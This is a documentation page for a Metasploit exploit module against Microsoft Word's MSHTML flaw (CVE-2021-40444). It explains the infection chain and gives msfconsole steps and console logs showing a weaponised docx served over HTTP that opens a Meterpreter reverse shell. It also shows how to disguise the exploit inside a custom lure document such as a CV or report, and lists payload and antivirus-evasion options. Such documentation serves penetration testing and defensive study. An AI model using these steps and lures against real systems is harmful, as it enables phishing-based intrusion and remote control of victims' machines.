Microsoft Office Word Malicious MSHTML RCE - Metasploit
This page contains detailed information about how to use the exploit/windows/fileformat/word_mshtml_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft Office Word Malicious MSHTML RCE
Module: exploit/windows/fileformat/word_mshtml_rce
Source code: modules/exploits/windows/fileformat/word_mshtml_rce.rb
Disclosure date: 2021-09-23
Last modification time: 2021-12-08 17:22:44 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-40444
This module creates a malicious docx file that when opened in Word on a vulnerable Windows system will lead to code execution. This vulnerability exists because an attacker can craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/windows/fileformat/word_mshtml_rce
msf exploit(word_mshtml_rce) > exploit
Knowledge Base
CVE-2021-40444 is a vulnerability within the MSHTML feature of the Windows operating system that relies on the old Internet Explorer engine. It is triggered by a specially-crafted docx file, so while Word is required for exploitation, the vulnerability itself exists in the Windows Operating System. The specially-crafted docx file contains a reference to an html file containing JavaScript that points to a separately-hosted CAB file. When Word opens the document, it launches the IE preview feature which resolves the linked html and opens the CAB file containing an inf file. Then, because of a zip slip vulnerability, the inf (actually a dll payload) file is stored locally and set to be opened by the control panel (cpl). The result is a side-loaded dll payload on the system running as the user who opened the document.
Vulnerable Application
The malicious document exploiting CVE-2021-40444 loads remote HTML code with active JavaScript.
The attacking code dynamically creates a new HTMLFile ActiveX object in-memory and injects into it JavaScript code that loads an HTML ActiveX installation object. The new object downloads a remote compressed .cab archive.
The cab archive hide a file which is supposed to describe the object’s installation parameters, but in this case is used to disguise the DLL payload.
Make your lab
You need official version of Microsoft Office installed (using a valid licence). And stay unpatched for this.
The exploitation don't work on unlicensed version.
Tested on Microsoft Windows 10 1909 w/ Microsoft Office Word 2016.
Verification Steps
- Start
msfconsole use exploit/windows/fileformat/word_mshtml_rceset SRVHOST [IP]set LHOST [IP]run
Options
OBFUSCATE
Obfuscate JavaScript content. Default: true
DocxTemplate
This is an advanced option.
A DOCX file that will be used as a template to build the exploit.
Targets
Hosted: Prepares the docx file and CAB file, then launches an http server to serve the CAB file and deliver the payload.
Scenarios
Basic use
Generate the exploit as following.
msf6 exploit(windows/fileformat/word_mshtml_rce) > use exploit/windows/fileformat/word_mshtml_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/fileformat/word_mshtml_rce) > set SRVHOST 172.20.7.36 SRVHOST => 172.20.7.36 msf6 exploit(windows/fileformat/word_mshtml_rce) > set LHOST 172.20.7.36 LHOST => 172.20.7.36 msf6 exploit(windows/fileformat/word_mshtml_rce) > set VERBOSE true VERBOSE => true msf6 exploit(windows/fileformat/word_mshtml_rce) > run [*] Using URL: http://172.20.7.36:8080/x58G8ZxLbZ [*] Server started. [*] CVE-2021-40444: Generate a malicious docx file [*] Using template '/opt/metasploit/data/exploits/cve-2021-40444.docx' [*] Parsing item from template: [Content_Types].xml [*] Parsing item from template: _rels/ [*] Parsing item from template: _rels/.rels [*] Parsing item from template: docProps/ [*] Parsing item from template: docProps/core.xml [*] Parsing item from template: docProps/app.xml [*] Parsing item from template: word/ [*] Parsing item from template: word/theme/ [*] Parsing item from template: word/theme/theme1.xml [*] Parsing item from template: word/styles.xml [*] Parsing item from template: word/settings.xml [*] Parsing item from template: word/document.xml [*] Parsing item from template: word/_rels/ [*] Parsing item from template: word/_rels/document.xml.rels [*] Parsing item from template: word/fontTable.xml [*] Parsing item from template: word/webSettings.xml [*] Injecting payload in docx document [*] Finalizing docx 'msf.docx' [+] msf.docx stored at /home/mekhalleh/.msf4/local/msf.docxExecute the DOCX document on a remote vulnerable system.
[*] 172.20.7.36 word_mshtml_rce - Sending HTML Payload [*] 172.20.7.36 word_mshtml_rce - Obfuscate JavaScript content [*] 172.20.7.36 word_mshtml_rce - Sending HTML Payload [*] 172.20.7.36 word_mshtml_rce - Obfuscate JavaScript content [*] 172.20.7.36 word_mshtml_rce - Sending HTML Payload [*] 172.20.7.36 word_mshtml_rce - Obfuscate JavaScript content [*] 172.20.7.36 word_mshtml_rce - Sending CAB Payload [*] 172.20.7.36 word_mshtml_rce - Data block added w/ checksum: cc1d5e18 [*] 172.20.7.36 word_mshtml_rce - Data block added w/ checksum: 7e6fb805 [*] 172.20.7.36 word_mshtml_rce - Sending CAB Payload [*] 172.20.7.36 word_mshtml_rce - Data block added w/ checksum: 620a35dd [*] 172.20.7.36 word_mshtml_rce - Data block added w/ checksum: 7e6fb805 [*] Sending stage (200262 bytes) to 172.20.7.36 [*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.7.36:57920) at 2021-11-05 16:41:13 +0400
Using custom template
Generate a custom DOCX template
You need to create new office document and personalizing it by your own model (CV, Report, ...).
The easy way, copy and paste (keep formating) from
data/exploits/cve-2021-40444.docx.You can copy this anywhere in the document.
Save the document and unpack this.
Check that
word/documment.xmlcontains something like:<w:object w:dxaOrig="4320" w:dyaOrig="4320"> <v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter"/> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"/> <v:f eqn="sum @0 1 0"/> <v:f eqn="sum 0 0 @1"/> <v:f eqn="prod @2 1 2"/> <v:f eqn="prod @3 21600 pixelWidth"/> <v:f eqn="prod @3 21600 pixelHeight"/> <v:f eqn="sum @0 0 1"/> <v:f eqn="prod @6 1 2"/> <v:f eqn="prod @7 21600 pixelWidth"/> <v:f eqn="sum @8 21600 0"/> <v:f eqn="prod @7 21600 pixelHeight"/> <v:f eqn="sum @10 21600 0"/> </v:formulas> <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/> <o:lock v:ext="edit" aspectratio="t"/> </v:shapetype> <v:shape id="_x0000_i1025" type="#_x0000_t75" style="width:3.75pt;height:3.75pt" o:ole=""> <v:imagedata r:id="rId4" o:title="" cropbottom="64444f" cropright="64444f"/> </v:shape> <o:OLEObject Type="Link" ProgID="TARGET_HERE" ShapeID="_x0000_i1025" DrawAspect="Content" r:id="rId5" UpdateMode="OnCall"> <o:LinkType>EnhancedMetaFile</o:LinkType> <o:LockedField>false</o:LockedField> <o:FieldCodes>\f 0</o:FieldCodes> </o:OLEObject> </w:object>Check that
word/_rels/document.xml.relshave good relation to the above thing:<Relationship Id="rId32" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="TARGET_HERE" TargetMode="External"/> <Relationship Id="rId31" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="NULL" TargetMode="External"/>Pack that to create word document to used as template.
Use the template with
msfconsole.msf6 exploit(windows/fileformat/word_mshtml_rce) > use exploit/windows/fileformat/word_mshtml_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/fileformat/word_mshtml_rce) > set customtemplate /tmp/readme.docx customtemplate => /tmp/readme.docx msf6 exploit(windows/fileformat/word_mshtml_rce) > set srvhost 172.20.7.36 srvhost => 172.20.7.36 msf6 exploit(windows/fileformat/word_mshtml_rce) > set lhost 172.20.7.36 lhost => 172.20.7.36 msf6 exploit(windows/fileformat/word_mshtml_rce) > set verbose true verbose => true msf6 exploit(windows/fileformat/word_mshtml_rce) > run [*] Using URL: http://172.20.7.36:8080/c6RhuAJ0fcW7 [*] Server started. [*] CVE-2021-40444: Generate a malicious docx file [*] Using template '/tmp/readme.docx' [*] Parsing item from template: [Content_Types].xml [*] Parsing item from template: _rels/ [*] Parsing item from template: _rels/.rels [*] Parsing item from template: docProps/ [*] Parsing item from template: docProps/core.xml [*] Parsing item from template: docProps/app.xml [*] Parsing item from template: word/ [*] Parsing item from template: word/theme/ [*] Parsing item from template: word/theme/theme1.xml [*] Parsing item from template: word/styles.xml [*] Parsing item from template: word/settings.xml [*] Parsing item from template: word/endnotes.xml [*] Parsing item from template: word/footnotes.xml [*] Parsing item from template: word/document.xml [*] Parsing item from template: word/media/ [*] Parsing item from template: word/media/image11.jpg [*] Parsing item from template: word/media/image17.jpg [*] Parsing item from template: word/media/image4.png [*] Parsing item from template: word/media/image18.jpg [*] Parsing item from template: word/media/image10.jpg [*] Parsing item from template: word/media/image15.jpg [*] Parsing item from template: word/media/image19.jpg [*] Parsing item from template: word/media/image3.jpg [*] Parsing item from template: word/media/image7.jpg [*] Parsing item from template: word/media/image14.png [*] Parsing item from template: word/media/image1.png [*] Parsing item from template: word/media/image8.jpg [*] Parsing item from template: word/media/image9.jpg [*] Parsing item from template: word/media/image16.jpg [*] Parsing item from template: word/media/image12.jpg [*] Parsing item from template: word/media/image13.jpg [*] Parsing item from template: word/media/image2.png [*] Parsing item from template: word/media/image5.png [*] Parsing item from template: word/media/image6.jpg [*] Parsing item from template: word/_rels/ [*] Parsing item from template: word/_rels/settings.xml.rels [*] Parsing item from template: word/_rels/document.xml.rels [*] Parsing item from template: word/fontTable.xml [*] Parsing item from template: word/webSettings.xml [*] Parsing item from template: word/numbering.xml [*] Injecting payload in docx document [*] Finalizing docx 'msf.docx' [+] msf.docx stored at /home/mekhalleh/.msf4/local/msf.docxExecute the DOCX document on a remote vulnerable system.
[*] 172.20.7.36 word_mshtml_rce - Sending HTML Payload [*] 172.20.7.36 word_mshtml_rce - Obfuscate JavaScript content [*] 172.20.7.36 word_mshtml_rce - Sending HTML Payload [*] 172.20.7.36 word_mshtml_rce - Obfuscate JavaScript content [*] 172.20.7.36 word_mshtml_rce - Sending HTML Payload [*] 172.20.7.36 word_mshtml_rce - Obfuscate JavaScript content [*] 172.20.7.36 word_mshtml_rce - Sending CAB Payload [*] 172.20.7.36 word_mshtml_rce - Data block added w/ checksum: f3189fad [*] 172.20.7.36 word_mshtml_rce - Data block added w/ checksum: 7e6fb805 [*] 172.20.7.36 word_mshtml_rce - Sending CAB Payload [*] 172.20.7.36 word_mshtml_rce - Data block added w/ checksum: 3b8886e6 [*] 172.20.7.36 word_mshtml_rce - Data block added w/ checksum: 7e6fb805 [*] Sending stage (200262 bytes) to 172.20.7.36 [*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.7.36:59004) at 2021-11-08 19:51:01 +0400
References
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
- https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/
- http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
- https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md
- https://github.com/klezVirus/CVE-2021-40444
Go back to menu.
Msfconsole Usage
Here is how the windows/fileformat/word_mshtml_rce exploit module looks in the msfconsole:
msf6 > use exploit/windows/fileformat/word_mshtml_rce
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/word_mshtml_rce) > show info
Name: Microsoft Office Word Malicious MSHTML RCE
Module: exploit/windows/fileformat/word_mshtml_rce
Platform: Windows
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-09-23
Provided by:
lockedbyte
klezVirus
thesunRider
mekhalleh (RAMELLA S��bastien)
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
0 Hosted
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.docx no The file name.
OBFUSCATE true yes Obfuscate JavaScript content.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module creates a malicious docx file that when opened in Word
on a vulnerable Windows system will lead to code execution. This
vulnerability exists because an attacker can craft a malicious
ActiveX control to be used by a Microsoft Office document that hosts
the browser rendering engine.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-40444
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/
http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md
https://github.com/klezVirus/CVE-2021-40444
Module Options
This is a complete list of options available in the windows/fileformat/word_mshtml_rce exploit:
msf6 exploit(windows/fileformat/word_mshtml_rce) > show options
Module options (exploit/windows/fileformat/word_mshtml_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.docx no The file name.
OBFUSCATE true yes Obfuscate JavaScript content.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.170 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Hosted
Advanced Options
Here is a complete list of advanced options supported by the windows/fileformat/word_mshtml_rce exploit:
msf6 exploit(windows/fileformat/word_mshtml_rce) > show advanced
Module advanced options (exploit/windows/fileformat/word_mshtml_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
DocxTemplate no A DOCX file that will be used as a template to build the exploit.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1
.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/fileformat/word_mshtml_rce module can exploit:
msf6 exploit(windows/fileformat/word_mshtml_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Hosted
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/fileformat/word_mshtml_rce exploit:
msf6 exploit(windows/fileformat/word_mshtml_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/powershell_reverse_tcp_ssl normal No Windows Interactive Powershell Session, Reverse TCP SSL
40 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
41 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
42 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
43 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
44 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
45 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
46 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
47 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
48 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
49 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
50 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
51 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
52 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
53 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
54 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
55 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
56 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
57 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
59 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
60 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
61 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
62 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
63 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/fileformat/word_mshtml_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/fileformat/word_mshtml_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, r
andom_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This template cannot be used because it is missing: <FNAME>
Here is a relevant code snippet related to the "This template cannot be used because it is missing: <FNAME>" error message:
202:
203: def get_file_in_docx(fname)
204: i = @docx.find_index { |item| item[:fname] == fname }
205:
206: unless i
207: fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
208: end
209:
210: @docx.fetch(i)[:data]
211: end
212:
This template cannot be used because it is missing: word/document.xml
Here is a relevant code snippet related to the "This template cannot be used because it is missing: word/document.xml" error message:
215: end
216:
217: def inject_docx
218: document_xml = get_file_in_docx('word/document.xml')
219: unless document_xml
220: fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
221: end
222:
223: document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
224: unless document_xml_rels
225: fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
This template cannot be used because it is missing: word/_rels/document.xml.rels
Here is a relevant code snippet related to the "This template cannot be used because it is missing: word/_rels/document.xml.rels" error message:
220: fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
221: end
222:
223: document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
224: unless document_xml_rels
225: fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
226: end
227:
228: uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
229: @docx.each do |entry|
230: case entry[:fname]
Template is not a docx file!
Here is a relevant code snippet related to the "Template is not a docx file!" error message:
326: datastore['SRVHOST'] = Rex::Socket.source_address
327: end
328:
329: template_path = get_template_path
330: unless File.extname(template_path).match(/\.docx$/i)
331: fail_with(Failure::BadConfig, 'Template is not a docx file!')
332: end
333:
334: print_status("Using template '#{template_path}'")
335: @docx = unpack_docx(template_path)
336:
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Related Pull Requests
References
- CVE-2021-40444
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
- https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/
- http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
- https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md
- https://github.com/klezVirus/CVE-2021-40444
See Also
Check also the following modules related to this module:
- exploit/windows/fileformat/word_msdtjs_rce
- auxiliary/docx/word_unc_injector
- post/windows/gather/word_unc_injector
- exploit/linux/antivirus/escan_password_exec
- exploit/multi/fileformat/office_word_macro
- exploit/multi/http/glossword_upload_exec
- exploit/osx/local/root_no_password
- exploit/osx/local/sudo_password_bypass
- exploit/windows/fileformat/office_word_hta
- exploit/windows/http/integard_password_bof
- exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
